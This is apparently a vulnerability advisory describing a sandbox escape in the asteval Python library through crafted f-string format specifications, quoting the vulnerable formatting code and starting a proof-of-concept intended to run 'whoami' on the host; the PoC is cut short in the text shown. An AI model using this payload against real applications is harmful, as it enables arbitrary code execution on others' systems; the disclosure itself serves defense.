Description

ASTEVAL Allows Maliciously Crafted Format Strings to Lead to Sandbox Escape

Summary

If an attacker can control the input to the asteval library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library.

Details

The vulnerability is rooted in how asteval performs handling of FormattedValue AST nodes. In particular, the on_formattedvalue value uses the dangerous format method of the str class, as shown in the vulnerable code snippet below:

    def on_formattedvalue(self, node): # ('value', 'conversion', 'format_spec')
        "formatting used in f-strings"
        val = self.run(node.value)
        fstring_converters = {115: str, 114: repr, 97: ascii}
        if node.conversion in fstring_converters:
            val = fstring_converters[node.conversion](val)
        fmt = '{__fstring__}'
        if node.format_spec is not None:...
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The code above allows an attacker to manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val). This vulnerability can be exploited to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

PoC

The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:

from asteval import Interpreter
aeval = Interpreter()
code = """
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"...
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Mitigation

Aliases

References